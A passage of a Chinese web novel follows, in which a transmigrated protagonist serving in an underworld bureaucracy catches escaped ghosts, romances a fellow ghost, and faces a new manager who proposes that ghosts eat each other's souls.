秦靖稍微皱了下眉继续往惩罚室走,那早有鬼等着了,地上提前放了个不软不硬的板让他们跪坐下来受罚,秦靖直在心里呲牙咧嘴,“这辈子没被谁体罚过,到了小世界完成任务要跪这儿老老实实被打。” 饶是这么想他也直接跪下来,准备行罚的鬼手里拿着一个差不多半米长的棍子,不粗,看起来没有什么威力,但只有尝过其中滋味的鬼才知道里面的苦辣。 棍子落在身上前他本来紧绷的身体下意识放松,秦靖挨了一棍子还不忘找449说话,“不对,这绝对不是个全新的身体,我这辈子没挨过打,这身体明显被打过啊,局里绝对顶号了。” 【那你回去反馈。】449说,【我可不敢说。】 秦靖无语的吸了口气,再次放松身体迎接下面的棍子。 毫不夸张的说,当鬼的时候可能会有鬼说魂被吓飞了,这下是真魂被打飞了,只剩下魂体的身体每挨一下都会消散那么一会儿,凝实的身体若有若无,浑身上下所有的东西都好像被打出了身体的框架,本来就一直在消散漏魂的身体魂气飘散的更快了。 让他们惧怕的并不是刑罚本身,而是消散的更加快的魂体,没有多少鬼能眼睁睁感受着自己慢慢消失。 …… 走出刑罚室的秦靖脚步稍微有点飘,再次路过刚才那片工位其余鬼都悄悄的看他。 秦靖知道每当有鬼进去的时候外面的有些鬼甚至在打赌里面的能不能全须全首出来,有些本来就快消散的直接被打散在刑罚室的也不是没有。 他神情淡定的出来往办公室走,站在门口敲了敲里面很快就传来一声进来。 他推门进去一看,莫名觉得这个办公室有点眼熟,似乎自己曾经去过好多次类似的地方,这种感觉来的莫名其妙又强烈,但只持续了不到几秒就消失干净,快到秦靖来不及发出更深的疑惑。 青年鬼坐在办公椅上转了几下,“我也姓秦,听外面鬼说你回来的时候还带了一个鬼一起?” 这没什么好隐瞒的,秦靖干脆应下。 青年鬼应了句不再继续问这个,“为什么趁这个时候跑,总不能是上一个管理者不允许你们打报告出去吧?” “得有正当理由。” “哦——”青年鬼恍然大悟,“所以你做的不是正当的事?” 他面前站着的鬼似乎没料到新来的管理者这么搬弄是非挑错字,稍微睁大了点眼看了他几秒拒绝回答问题。 青年鬼并不介意的笑了笑,“开个玩笑——说吧,到底是去做什么事了,别撒谎。” 秦靖当然清楚新来的管理者就是明知故问,但也按着剧情开口,“有个鬼死前内脏被掏了,老是空的,出去找了个天师。” “就为这么点事还值得你跑出去回来挨了次罚,这鬼救了你的命啊。”管理者拿着根笔在手指间玩出了花。 秦靖神情冷冰冰的,“……我老婆。” 管理者手里的笔一顿就掉到了桌子上,闻言挑了挑眉,“好鬼,你要早这么说因为这事我就不罚你了。”他说完又笑了笑,似乎在极其自然的跟他八卦,“在工作里认识的啊,跟车的?” “不是,普通鬼。” “啊……”管理者再次靠回座椅上,“那你老跟车应该见不着面吧?”他说完以一副过来人口吻,“老见不着面感情会淡的。” 秦靖的眼神稍微动了动。 他继续开口,“不如你换个职位不要跟车了,我到这儿发现完全不让出去实在不是个事,外面乱的很,到处都在骂咱们不作为放鬼到处跑,新给你设个职位,然后让你的、老婆?来管理局干吧。” 秦靖抬起眼睛,默不作声跟管理者对视几秒,然后缓缓点了点头。 …… 新管理者上来先对之前趁机逃窜的乱象进行了大刀阔斧的改革,收整改变之前的制度就花了很长时间,又在原有的基础上修改删减同时也增加了一些职位,其中一跃而成其中与管理局、运输局地位并重的就是一个成员数量还不算很多的追捕局。 顾名思义,听名字也知道是去干嘛的,成立没有多长时间就从外面追捕回了七月半逃窜的大部分恶鬼。 最开始其余鬼以为是苦差事,后来才发现局内的成员几乎拥有整个地府其余鬼都没有的自由权利,在两界几乎往返自如,在任务以外的时间拥有极大的权利,很多没法投胎一直被拘泥在地府的鬼魂都看红了眼睛也无济于事。 …… 秦靖伸手拽住那个鬼的衣领用力往地上砸了几下,荒凉的地方因为这个动静惊飞了蹲在树上休息的鸟,扑棱扑棱翅膀扇动的声音和叫声又唤醒了别的动物,一时间寂静的地方实实在在热闹了几分钟。 被砸了几下没法说话的鬼缓了一会儿又有力气了,嘴里开始不干不净的骂秦靖,“妈的,什么仇什么怨……都是鬼替地府为难我们,我看你脑子里壮着水到处晃,我去你******!!!” 秦靖本来已经松开了衣领不打算再动他,听见他嘴里的话再次把鬼提起来用力往地上撞了几下彻底撞晕了。 晕过去的鬼软绵绵的像是面条,秦靖提着扔在那个鬼堆成的罗汉里。 跑出来的鬼大部分过的不算好,王真的出逃早有预谋,而他们大多数是临时起意,别提有什么准备与应对,更何况有些鬼已经在地府待了很久了,外面早就改天换地。 除了来自地府的追捕,七月半后人间各种天师以及各种机构也开始追捕肆意流窜做过恶的鬼,来自这些的威胁暂且不提,还有在人间被一直藏匿着的大鬼吞吃的也不在少数,他们今天就从鬼嘴里抢下来一个。 杨正明把最后一个扔在那里,然后数了数确定够交差,“够了。”他拍打了下沾着血的手,最后直接暴力从衣服上扯下一条用来擦手,指着那个从鬼嘴里抢下来的,“你说这图什么啊,要是有点实力出来过的比在里面好跟王真似的要跑我还能想通,这是出来给别的鬼送饭来了!要不是咱们今天顺便路过那脑袋都能被吃了。” “外面的鬼想进来,里面的鬼想出去。”秦靖准备动手把这个叠罗汉收起来带回去了,说完看了眼杨正明。 “没走过的路总觉得最好。” 第99章 第九十九章 他的情商不高不低…… 秦靖进管理局的时候里面正聊的热火朝天, 一伙人把邝松云这个新鬼围住听他说现在的学校巴拉巴拉,听完发出巨大的感叹。 “我们那会儿可不这样。” “时代不一样了啊。”邝松云说,“我们省人多, 大学可不好考了。” 周围的鬼之前聊天就知道他是考完大学出了成绩噶掉的,不由得同情的摇摇头。 “那你真是把苦全吃了然后来继续吃苦来了。”另一个资历比较新一点的鬼也开口解释,“我跟你说, 要是你上了大学会发现日子真的很爽,有手机有钱, 没有比这个更爽的时候了,结果你被按在学校读了十二年书熬完苦日子噶了。” 邝松云被他说的那种久违的悲哀又上来了, 眨巴眨巴眼往椅子上一靠不吱声了, “……” 他正好背对着秦靖, 所以直到快到他背后邝松云都没发现, 周围几个鬼发现了也都极有默契的装不知道。 靠在椅子上垂头丧气的鬼突然被从背后掰住下巴抬起头来, 顿时保持不住身体平衡惊讶的诶诶诶了三声, 秦靖提腿用膝盖从后面撑住椅子让椅子恢复平衡又捏了捏下巴才放开手。 “你干嘛呀吓死我了。”邝松云摸了摸自己的下巴坐直,秦靖顺势依靠在他让出的椅背上。 周围的几个女鬼早在秦靖摸邝松云下巴的时候就激动的嗷嗷叫, 听见邝松云似乎带了点撒娇的埋怨叫的更大声了。 秦靖知道有很多腐女,对这副场景甚至有点见怪不怪, 除了主角变成自己稍微有点不适应外对这一切都感受良好。 邝松云很快又靠过来,不过这次靠的不是椅背而是秦靖的胳膊, “你们抓完了?” “嗯,差不多全抓完了。” 然后邝松云就仰头眨巴眼看他, “那你们是不是要解散了啊?” 秦靖觉得有点荒谬,也笑了出来,“你从哪听的,不解散, 外面各种鬼到处乱窜,一直说地府不管,要干的事多了去了。” 秦靖跟这些鬼并不相熟,反倒是邝松云没来几天看起来跟她们关系都不错,尤其是里面的女性,各个都用很激动的眼神看他,他站在邝松云背后存在感有点强,一伙人聊天也有点收敛,但聊着聊着又到兴头上开始放飞自我。 “我跟你们说,我之前不是跟那谁谈恋爱么。”女鬼见大家都有点不明所以连忙挤眉弄眼,“就那谁——他前段时间说要跟我复合什么的,不知道从哪搞来了点美白的,我用着特别有效果,你们看看。” 她说完就展示了下自己的脸,“是比以前白了不少吧。” “确实!”邝松云很兴奋,“比以前黑着好看!” 他本来在笑着,说完这句话脸上的笑立马凝固住了,干巴巴张了几下嘴准备解释。 秦靖在背后猛不防听见这么一句也有点懵,实在想不到邝松云要是就这样说话怎么跟周围鬼相处的这么好的。 女鬼扶着额头特别无力,伸出手阻止他试图进行的解释,“好了我懂得,你不用解释,我知道的。” 邝松云尴尬的呲呲牙。 女鬼很真诚的感慨并建议,“下次说话先别说,在脑子里过一圈再往外冒。” “你的情商不高不低,正好能在你说错话的时候意识到。” * 自从秦靖进了追捕局就又换了个地方住,被筛掉空出的房子被合并成了更大一点的,由原先的二居室换成了四居,对于绝大部分单身鬼来说是足够了,就算拖家带口的住着也大有宽裕。 邝松云上下班时间是固定的,秦靖不一样,指不定什么时候就要在外面待很久,前段时间忙的时候住在一个屋子里的鬼几乎都没怎么碰过面,他捉完鬼回来只是换了身衣服稍微清理了一下就顺道去管理局找了邝松云,现在回来的第一件事当然是洗干净自己身上沾到的尘土和血的味道。 空间不算大的浴室只简单放了一个莲蓬头和洗手池,秦靖把温度调到最低开始洗澡。 他一边洗一边不由得开始思索‘秦靖’后来为什么会继续选择叛逃地府。 从目前来看,不管新管理者是为了笼络鬼心还是培养像是追捕局里这些鬼作为他得力下属而言,他做的都不错,追捕局的鬼现在福利待遇空前的提升,里面几乎每个鬼都在夸赞他。 得道多助失道寡助这一套玩的比上一个溜多了。 只是最根本的是否依旧要在地府待到死还是个被避而不谈的话题。 秦靖脑子有点乱,思考半天无果不再多想,把水关掉打沐浴露的时候听到房间里传来一点细微的声音。 他不喜欢睡软床,房间里放着的硬床上去以后总会响几下——只是现在又没有鬼上去平白无故响个什么劲? 浴室不大很方便他探头去看一眼,拿了毛巾把脸上的水擦干净秦靖往外一看,顿时被惊掉了下巴。 邝松云穿着条短袖短裤大大咧咧的在那翘着二郎腿玩手机,姿态豪放又不羁,正看的入迷被秦靖如有实质的眼神给盯醒了,看见他露出一个脑袋立马改变刚才的豪放姿势,十分的……诱惑。 秦靖整个人都木了,邝松云眨眨眼看秦靖没有其余反应伸手拍了拍自己Q弹的屁屁,“来呗!” 秦靖:“?” 秦靖直接钻进浴室里去继续打泡沫了,邝松云特别不可置信的从床上跳下来让床发出巨大的声音站在浴室门前库库拍门,“你什么意思啊——我屁股不翘?我长得不好看?我腰不细?我同事都说恨不得长一个好好疼疼我呢!” 秦靖擦干净身体换了睡衣出来对上的就是邝松云的后背,对方见秦靖出来了立马翘起来显示他的屁屁到底有多翘。 秦靖真的没招,深吸一口气对着还在卖弄自己屁股到底有多翘的鬼一把抓了上去,抓上去的一瞬间一直喋喋不休的鬼彻底安静了,维持着那个姿势好几秒瞪大眼睛看秦靖,一副你还真上手的表情。 秦靖已经彻底看透邝松云嘴炮加时不时上来骚一骚但一动真格立马就怂的本性,对上他的表情稍微歪了下头表示自己也很无辜,“那你翘着?” 邝松云眼睛瞪得更大了,秦靖毫不客气抓了几把一条胳膊直接往腿弯一捞就轻松把鬼抱起来往他刚才躺的地方一放,站在床前就准备脱上衣,床上的鬼都吓出了颤音,连着叫了好几声连滚带爬的下床跑,结果被秦靖拽着脚腕直接拉回来,“跑什么?不是挺能浪么?” “不敢了不敢了不敢了,我走我走。”一只脚腕被抓着他连忙抬起另一条腿蹬住秦靖的肩膀试图拉开两鬼的距离,秦靖没动看了眼蹬在肩膀上的脚几秒,毫无征兆伸手抓住一拽,本来还算远的距离立马被拉近,邝松云张着嘴巴不说话了。 两个鬼谁都没动,就维持着现在这个稍微有点羞耻的姿势安静了一会儿,秦靖本意只是吓吓他,但现在脑子也有点混,被拽近的邝松云脸又红了,几乎红的能冒烟,闭着眼睛大概几秒又睁开摸了摸这个姿势能摸到的地方,本来都打算放开了秦靖被摸了下又顿住了,两个鬼再次安安静静对视几秒。 不知道是谁先动的,等反应过来秦靖已经咬着邝松云的嘴唇亲了好一会儿,浑身的血都在往脑袋上涌,他什么都没法想只是跟随着本能把邝松云禁锢在怀里又压在床上亲。 接吻的感觉出乎意料的好,柔软的舌头和嘴唇亲密的接触着竟然让他有种微微酥麻的感觉,偶尔分开的间隙轻轻喷洒在脸上的气息也温热让他感到舒服。 邝松云闭着眼睛很热情的回应了一会儿开始推他,被放开能喘气的邝松云终于能睁开雾蒙蒙的眼睛去看他,在视线彻底清晰后突然一偏脑袋避开视线,随即动作很慢的用手遮住了眼睛,好不容易下去的颜色再次浮现到脸上。 他还在秦靖怀里,刚刚也很热情的回应亲亲,但现在却兀自沉浸在了无边的羞涩中无法自拔,对秦靖的每一下触碰的回应就是更红的脸,秦靖安静的看了几秒,也慢慢的把脑袋埋在了邝松云脖子里。 他总算知道为什么都喜欢往这儿埋了,因为确实很爽啊,不管是角度还是温度,又或者是味道都十分的合心意。 两个鬼身体温度都很凉爽,就算抱再久也不会有过于热的烦恼,秦靖不知道维持这个姿势抱了多久,直到邝松云伸手推他他才顺势离开。 他跟邝松云一直都是分开一鬼一间房,现在的邝松云却翻了个身躺在一侧拉起被子捂住脸一副已经睡着的样子,449又在秦靖脑子里唱起了rap,秦靖毫不犹豫把乱叫的449屏蔽掉轻手轻脚也上了床。 邝松云只给他一个略显清瘦的背影,秦靖睡姿很板正的在那里躺了片刻,扭头看了邝松云两次,直到那个身体很慢很慢的往他这边挪动跟他彻底贴上他才慢了半拍伸出手从后背抱住。 身体紧密贴合住,一种奇异的让他感到很满的感觉顿时充裕了他整个心脏,秦靖眨眨眼,对这种感觉感到新奇又上瘾。 第100章 第一百章 做梦 邝松云其实没有什么香味, 有的是一种属于人类皮肤的很干燥又清洁的味道,这种味道需要紧紧的把鼻尖抵在皮肤上才能闻到,有若有若无的, 但是是属于某个人特有的味道。 邝松云安静的在他怀里待了一会儿就扭过来抱住秦靖的腰,把整个脑袋全埋在他怀里,秦靖稍微屏住呼吸, 他能感到邝松云没睡着,抱一会儿就调整一下姿势让自己睡的更舒服一点, 在怀里折腾来折腾去,他就稍微低了下头看滚了半天乱糟糟的头发。 手指来回拨了几下头发就被邝松云伸手攥住手指, 他也不干别的, 就是单纯抓着不放, 大有这么睡觉的意思, 邝松云抓着, 秦靖晃手指, 就这么好一会儿才松开,紧紧抱着自己腰的鬼稍微松开了点, 秦靖知道他这是要睡觉了,于是也不再继续折腾闭上眼睛。 …… 久违的热、身上的汗一滴滴下去, 好像有谁在耳边一直喘,秦靖身上的肌肉绷的很紧, 眼前雾蒙蒙像是隔了一层纱看不真切,他用力眨了几次眼都无济于事, 眼前是淡黄色的床单,脖子被紧紧抱着无法动弹,他稍微动了下才后知后觉的发现自己正在跟这个不知名的人或鬼在做什么。 鼻尖的味道有些熟悉,对方也出了汗, 粘腻的跟他贴在一起又用力的抱紧他的脖子亲了几下,过了几秒发出一声疑惑的气音。 这个声音出来秦靖就确定是邝松云了,只是他不明白自己为什么会做这种梦,难道亲个嘴就激动成这样? “你怎么了?”邝松云终于放开了他的脖子,秦靖得以从那种浓稠的氛围里脱身,刚刚直起上半身就对上了脸上晕着红色的邝松云。 这种红与他一直见过的羞涩的红并不一样,是一种充满色气的,亲密后的红晕,眼里也含着水,还有点说不出的爱意和满满的喜欢,他只是看一眼就愣在那了,邝松云抬了下腿稍微皱眉,“你怎么不动了,在想什么?” 他不知道自己该不该动,但眼前的场景不动也不现实,再说了,到底是他自己的梦,就算动一动应该也没事吧? 邝松云发出一点闷哼和轻微的气音,但眼睛依旧很亮又不躲不避的看他,现在的秦靖依旧是亲完会脸红的阶段,但眼前的邝松云却显然不是现实那个亲完也会红好久的鬼,于是现在只剩下了秦靖眼神飘忽又强作镇定,但发红的耳朵还是出卖了他。 邝松云稀奇的嗯了声,又伸手拽了拽枕头让自己重新枕上去,“你红什么?” 秦靖吭哧一会儿没说出话——他总不能说是自己做梦,咱俩目前还在亲嘴都会红的阶段吧。 他不说话邝松云反倒来劲了,立马伸脚蹬了蹬又捻了捻,“说话呀,红什么呢?什么没做过什么没看过,你现在一朝回到解放前又开始红了?” 秦靖忍了会儿抓着他那只脚又压住,“别瞎搞。” 邝松云轻轻哼了一声,好不容易抓住秦靖脸红他一点都不想放过,但又被单方面的压制着只好作罢,“就允许你单方面调戏我不允许我调戏你啊?” 秦靖跟这个邝松云斗不过嘴,只好用最直接的办法让他闭上嘴,他顿时就不知道要说什么只知道抱着秦靖哼哼了。 …… 秦靖站在那里换床单,身后很快就贴上来一个凉爽的身体,他稍微一顿,有点受不住进阶版的邝松云,只希望他别再口吐狂言,后背被很眷恋的蹭了蹭,他扒着秦靖的肩膀,“你今天到底怎么了?” “你今天回来就不对劲。” 秦靖微微一愣,没想到梦里居然还自动补全了剧情,不过他停下是因为震惊,梦里这个自己因为什么不对他当然不清楚,于是秦靖只是含糊的回应了一声。 邝松云又从背后绕到前面来坐在床上拽住他的手,“是不是追捕局出事了?” 秦靖的神经因为这个追捕局敏感的动了动,虽然理智告诉他听梦里的鬼说话是有点离谱,但听了也没坏处,万一真能听到什么有用的。 于是他嗯了声。 邝松云也沉默下来,直到秦靖以为自己听不到什么时候,他突然开口: “你要不走吧?” * 失重感猛的袭来,黑暗中秦靖突然睁开双眼,天知道他听到邝松云说出让他走的话有多好奇下面会说什么,但似乎是因为某种不可抗力,在邝松云即将说下一句话时他像是被梦境给主动踢出去了一样。 邝松云已经睡着了,不再抱的那么紧,刚才还在梦里亲密接触的鬼现在醒来还在自己怀里,秦靖说不出自己到底是有些心热还是什么感觉,躺了会儿忍耐了下最后还是伸手抱住了邝松云。 本来睡着的邝松云被打扰发出一点很不满意的声音,稍微掰了下自己腰上的手,但困意实在太过于汹涌他抵抗不住还是睡着了。 秦靖的脸跟他的脸贴着,眼神在黑夜里极度清醒,“449——” 449神情很冷酷的出现在他面前。 “你监测一下我身上有没有不对劲的地方。” 449本来眯着的眼睛睁大了,【你不舒服?我不会治病,至少我不会治鬼。】 “不是——”秦靖说,“我感觉刚才那个梦不对劲。” 秦靖醒来越想越清醒,越想越觉得不对,这梦不像是个普通的春/梦,更像是某种未来的映照,他清楚这样的世界有无数个,其中运行后出现bug的情况也不在少数,甚至各种离奇的情况也都有,对未来的预知梦存在不少。 但相对的——这种情况只会存在于该世界的原住民身上,来完成任务的不论是宿主还是系统,就算替代了其中某个人严格意义上依旧不被纳入该世界的运行规则,那么在他身上出现这种情况就是单纯的无稽之谈。 【什么梦?】449表情古怪。 这个梦两个鬼的亲密占了大头,让他感到不对劲的就是那句类似对未来的话和被强行拽出梦境的感觉,秦靖简单把前半部分略过讲了下后面。 449沉吟了好一会儿,【我没听过这种的,应该是你想多了吧?要是再出现让你感觉不对的情况再上报行不行——反正要真是预知梦的话其实对你完成任务来说是有好处的。】 秦靖想了想有道理就答应了,“你说我能不能把邝松云带走啊?” 突然开口的秦靖着实把449给惊到了,【你把他带哪去?】 “局里。”秦靖也清楚局里似乎没有这样的先例,并不清楚到底可不可行。 【你怎么能把他带局里呢,照这样还不如你直接留在这个世界。】 秦靖迟疑道,“可我跟总局签了合同。” 【试着周旋一下嘛,我感觉总局还是很人性化的,况且你在总局干这么些年做好了多少任务,想退休也没错吧?】 449离开了,眼前的光源消失,秦靖打算等任务完成度再高一点就去询问这个合同是否能提前解除,了却一件事的秦靖轻松起来,本来以为今天睡不着没想到很快就沉沉是坠入了梦境。 …… 秦靖的耳朵嗡嗡响,眼前的邝松云嘴巴开开合合却听不到什么声音,他环顾了下四周,这正是上一个梦境的地方,他没想到重新入睡居然还能跟上一个梦境接上。 耳鸣声逐渐减弱,他能听到一点邝松云的声音了,对方的前一段话却又说完了,他只是又听到一句,“你离开吧。” “那你怎么办?” “反正也不会死。”邝松云故作轻松的回答。 这问题是秦靖下意识问的,新管理者实行的制度就是打算靠一个套牢另一个,按照原剧情中秦靖离开后邝松云也确实被管理者一方面出于泄愤,一方面也是震慑剩下的鬼而杀掉了。 怎么不会死,又怎么不明白自己确实会死。 “你跟我一起走吧。” 秦靖几乎是有点冲动的说。 邝松云微笑着摇了下头,“不能两个一起走的。” 秦靖突然感到难过,如果这个梦真的是现实,那大概并不是他拿到的所谓秦靖将邝松云放在那里当靶子的剧情,而是在经历某些事后迫于无奈的自我舍弃与死一个活一个的选择。 他有点嫉妒,也有点难过,嫉妒可能邝松云真的跟剧情里的那个秦靖互相之间情真意切,难过他并不知道舍弃自己保下的秦靖最后也只是一个被主角当经验刷掉的炮灰。 付出与回报并不成正比。 秦靖有点酸溜溜的想——如果他是秦靖,就好比现在来完成任务他就是秦靖,他肯定是不会像那个秦靖一样让邝松云独自留下的。 现在酸溜溜的嫉妒已经把他整个淹没,他甚至想把那个秦靖提起来互相比一比,他敢笃定自己肯定比那个秦靖强——笑话,他可是手握上帝视角和剧本,还在无数个世界完成过无数个世界见多识广的996! 他盯着邝松云看了几秒,梦里的这个神情有点莫名,他没头没尾的问: “我跟那个秦靖哪个好?”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 完结&番外 第101章 第一百零一章 酸 他当然是没有得到回答的, 梦里的邝松云并不明白他在问什么,现实中这个什么都没经历过的当然更加给不出答案,秦靖也只好自己跟自己生气, 又把原剧情翻了无数遍开始冒酸泡泡。 他抱着邝松云较劲,邝松云最开始也疑问为什么他突然变得这么直白的粘人,甚至开始有一副给邝松云既当爹又当妈还当老公的错觉。 但他充当这三个角色实在让邝松云的生活质量得到了前所未有的提高, 从各个方面来讲都是。 最近的任务不复杂,抓一些小鬼也不难, 所以秦靖每天都能回来,就这么休闲了很长时间某天突然接到了管理者的消息, 他干脆跟邝松云一起去上班, 邝松云去工位, 而他则去了管理者的办公室。 管理者正拿着个手机在那看, 头也不抬指了指桌子前面那张椅子, “坐。” 秦靖坐下没几秒他就抬头询问, “最近感觉任务怎么样?大家都适应了吗?” “磨合的很好。” “那就行。”管理者点点头,“最近这段时间算是给你们休假顺便养精蓄锐, 毕竟外头还有个大麻烦在呢。”他见秦靖不接茬把手机翻过来给他看消息里的红点,“你看看, 谁都找我。” “王真在外面太不像话了,跑了就低调一点行事啊, 他今天从这家嘴里抢食,明天又跟别人家结怨, 结果这下好了,全到我这儿投诉说我不作为了。” 秦靖已经有了猜测,“所以这次是要抓他是么?” “猜对了。”管理者微笑了下,“不抓不行, 低调一点我睁一只眼闭一只眼装不知道还成,毕竟我也不是不近鬼情的鬼,现在可难喽。” “有他的位置?还是我们出去自己找?” “不只是咱们。”管理者说,“他从人家人间的天师手里劫走不少鬼吞掉来壮大自己的实力,上面会有天师跟你们合作一起镇压,抓到后让他把抢了的全吐出去还给人家,最后再把王真带回来。” …… 秦靖带着追捕局的鬼跟上面会合的时候是下午,来的天师不算多也不算少,有好几个都是被抢了鬼咽不下这口气来出气。 他跟王真并不算有多么深的交情,犯不上在这种场合包庇对方或去试图做小动作救他,一切事在自己做出来之前就要做好为自己兜底的准备,要是这么容易被逮了也只能说他技术不行,实在谈不到别的上面来。 杨正明交际已经成了习惯,虽然现在秦靖是追捕局名义上的管理者,但绝大部分下的交际还是交给了最擅长的杨正明,譬如现在一行鬼刚到这儿他就试图去简单的跟对面天师简单说几句。 只是还没走到天师扎堆的地方,其中一个神情有点不屑,“还是别往这边走为好,我们都阳气充裕,一会儿再给你伤着了连鬼都抓不住就不好了。”他说完冷哼一声,“你们自己连自己的鬼都管不好,放上来为非作歹给我们添麻烦!” 对方口中对鬼的轻视没有任何遮掩,其余几个在他周围的神情略有点不赞同,但在没有危害到他们利益的情况下也犯不着跟这种人起口舌之争,只是相当默契的离那人远了点。 杨正明只是爱交际活跃气氛互相交换情报,不是爱热脸贴冷屁股,对方这反应他也没有好脸色,顿时冷笑一声不打算再说话。 只是那个天师又被这一声笑给整恼了,“你笑什么!” 他只得到了杨正明的一个白眼,顿时更加恼怒起来,“一个不知道什么时候就要消散的鬼来这儿跟我逞威风!” 这话戳到了在场所有鬼的痛处,神情都有些不悦起来,杨正明冷笑一声正要反唇相讥什么,秦靖就看他一眼开口了,“有本事你别死。” “对啊,有本事你别死。”杨正明淡定下来,特别阴阳怪气的笑了声,“不然死了迟早一天落我们手里。” 那天师顿时青一阵白一阵不说话了。 聪明的都知道在外面不要与人为恶,尤其是那些绝对绕不开的地方,跟地府的鬼起冲突纯属是自己脑子里有水。 本来就不相熟的一波人跟一波鬼现在气氛更加疏离起来,站在最前面的天师轻微呵斥了一声就继续看自己手里的罗盘确定方位,随即带着身后一众往东南方向走。 本来打算打听这群天师要怎么抓王真却半道崩殂,什么都不清楚的秦靖等鬼也只好跟着他们走一步看一步。 …… 继续往东南方向走到了一处就开始转变方向,大概以那个点为中心其余八个方向全都提前打上了钉子边上框出一个界限还撒着银白色的东西,偶尔有些地方的银白色变成焦色就不断有人去补上新的。 看到第一处变焦的地方这群天师就清楚这王真确实是被框在这个区域内,这些事都用不上追捕局的鬼,他们只在那里看着,最开始银色变焦的速度非常快,甚至快到这些天师来不及补撒,但最后王真似乎发现这是个极其费力又不讨好的办法,等他冲破一边再换另一边的时候这儿早就被补好了,所以他不管怎么冲总有地方是围好的。 于是所有动静的彻底消失了,天师们耐心的等着,秦靖也站在那里不说话。 449说,【宿主,他在你身后。】 不用449说秦靖也感觉到了,王真甚至胆大包天一副不怕被发现的样子的碰了碰他的后背。 秦靖以为王真是想求助,但后来又发现并不是,追究其更深层次的行为逻辑大概就是不想把这种让谁都为难且风险极大的行为直接强加给秦靖而是去试探一下提醒自己的存在感。 身后的王真又消失了,秦靖知道今天他大概率会被抓到,这么多人和鬼兴师动众就为抓他一个必然不肯无功而返,早早做好准备就打算给他来个瓮中捉鳖。 就算这群天师有一个算一个是臭皮匠,那凑一起也了不得。 除非王真现在立马拥有主角光环,否则不大可能绝处逢生。 在这种车轮战下被抓才是绝大多数普通鬼的宿命。 他静静的等着,随着天色逐渐暗下来那些银白色的物质又开始变成焦色,本来用眼睛难以看见的王真已经隐隐约约露出了一点身形。 突然一个天师惊叫一声,后背的衣服被很快的灼出一个手掌形状的黑印,周围人都一拥而上围在周围开始戒备。 跟这群天师相比追捕局的鬼都好像这事跟他们没有任何关系,于私,王真到底才是跟他们一个处境的鬼,难免有兔死狐悲之感,于公是该帮忙,但他们不想,秦靖没动,杨正明也没动,其余鬼更不可能动。 一伙鬼就这么带着点漠然的看他们试图抓王真,甚至往远处避了避躲避那些到处乱飞的法器避免误伤。 …… 拿着法器狠狠一掌落在王真身上,残破不堪的身体开始源源不断的往外漏鬼气,一边早有天师拿了葫芦在一旁接着,王真被压着说不出来话,秦靖看了一会儿就出手阻止,“够了吧?” 他掐断了鬼气继续往外漏,压着王真的天师不悦的抬眉,“这种为非作歹的鬼……” “他为非作歹把抢了的还回去就够了吧,还要继续——你们也要抢啊?” 恶鬼身体里炼化掉的鬼气与平常的本就不同,对天师来说是好东西,他们本来就打算把王真抽干留一口气算了事,没想到一直不出来帮忙的追捕局现在跳出来阻止。 “刚才捉鬼不帮忙也就算了,现在反倒上来阻止我们,难道地府要包庇这么一个叛逃出来扰乱秩序的恶鬼?” “拿该拿的,不该拿的还回来,鬼归地府管,犯事也得带回地府交差。” 秦靖不再跟他们过多废话伸手拽起王真离开。 只要管理者那里不做太严重类似直接打散魂体的惩罚王真就能再慢慢养回来,但要是真被这群天师吸空了那很快就会消散了。 王真被拽的踉跄了几步才稳住身体,脸色发白还是笑,“还不如给他们呢,我听说新来这个挺邪门,回去没准还不如死在这儿。” 秦靖不看他,只是拽着他走,“早就跟你说过别高调,自己现在快把自己作死了就高兴了。” 王真闷闷的笑了声不说话。 …… 一行鬼回地府的速度很快,王真被带到检测中心,他松开王真,而杨正明去请示管理者询问怎么处理,他在那里看了一圈就注意到露了只眼睛看他的邝松云,于是就过去了,“等我这儿一会儿结束一起回去?” “我今天想吃饭。”邝松云眼巴巴的看他。 “带你出去吃?” “行。”邝松云高兴的眯起了眼,“我想吃肉。” 秦靖嗯了声,邝松云说完这个就带了点担忧的看了眼站在那里的王真,但最后也没说什么。 秦靖来不及问办公室门就打开了,杨正明大步走过来小声跟秦靖说: “管理者让咱俩带着王真进去。” “就咱俩。” 第102章 第一百零二章 我干不了 秦靖稍微皱起点眉用询问的眼神看杨正明, 也只得到后者略显疑问的表情。 这管理者正如王真说的那样,在有些事情的处理方面特别阴,秦靖也只好再次拽着帮着王真双手的绳子往办公室走。 这次管理者没坐在那里玩手机, 反倒站在窗子那里往外看,秦靖和杨正明就这么跟王真站了会儿才得到了声坐。 管理者现在看他俩的眼神让秦靖极度不适,像在看动物, 看玩具,唯独不像是在看一个有独立思想的鬼, 他就用这种眼神看了两个鬼很久,直到一直都很圆滑的杨正明已经明确表示出了不适的表情才笑吟吟的收回视线。 “秦靖你来这儿多久了?” “八十多年。” “嗯——”他点点头又看杨正明, “你呢?” “九十三。”杨正明很准确的吐出一个数字。 他再次点点头微笑了下, “其实叫你们进来也没别的事——”他说完停顿几秒再次打量了一番, 却突然示意王真也坐下, “坐吧, 又不是犯了什么罪自己在那站着。” 王真也不大在乎他到底是真让他坐还是假让他坐, 一开口立马坐下不带任何含糊,管理者这才继续之前的话题, “我叫你们来其实就为了一件事,上一任管理者不是不管你们的魂体消散问题么, 结果搞的你们好多最后死在工位上。” “我看了下以前的档案,差不多也就是一二百年就消散掉了。”他说, “实在是不太人道,哦不, 鬼道。” “这事总得解决,我思来想去想到个好办法,既能解决你们的担忧,还能为地府做出贡献减轻地府的负担。” 传到耳朵里的声音带笑, 秦靖下意识觉得不妙,眼皮突突跳了起来,管理者用含笑的目光深深的注视了他们一会儿。 “你们俩把他吃掉吧。” 秦靖:“?” 杨正明:“?” 两鬼抬头都是极不可置信的看向管理者,他却依旧笑着指着王真,“吃掉他稳固你们自己的魂体,顺便还能解决一下咱们地府大牢里面鬼满为患的问题,一举两得——当然,也不是叫你们吃独食,你们吃完可以出去告诉他们,大牢里一群鬼,想吃多少吃多少。” 疯了……这鬼真是疯了。 先不谈别的,这种所谓的政策要是一出地府绝对立马瘫痪陷入一片混乱,什么都不做就干脆吃来吃去算了,秦靖一瞬间开始怀疑这鬼到底是派来接手整改地府的还是来彻底把地府给炸了让鬼到处窜祸乱所有人和鬼的。 再说吃鬼这个办法——王真出去吞噬其他鬼是吞掉鬼气,而管理者嘴里这个吃掉明显就是让他们直接吃魂体,类比一下不亚于让人去吃人肉然后延年益寿。 真是疯了…… 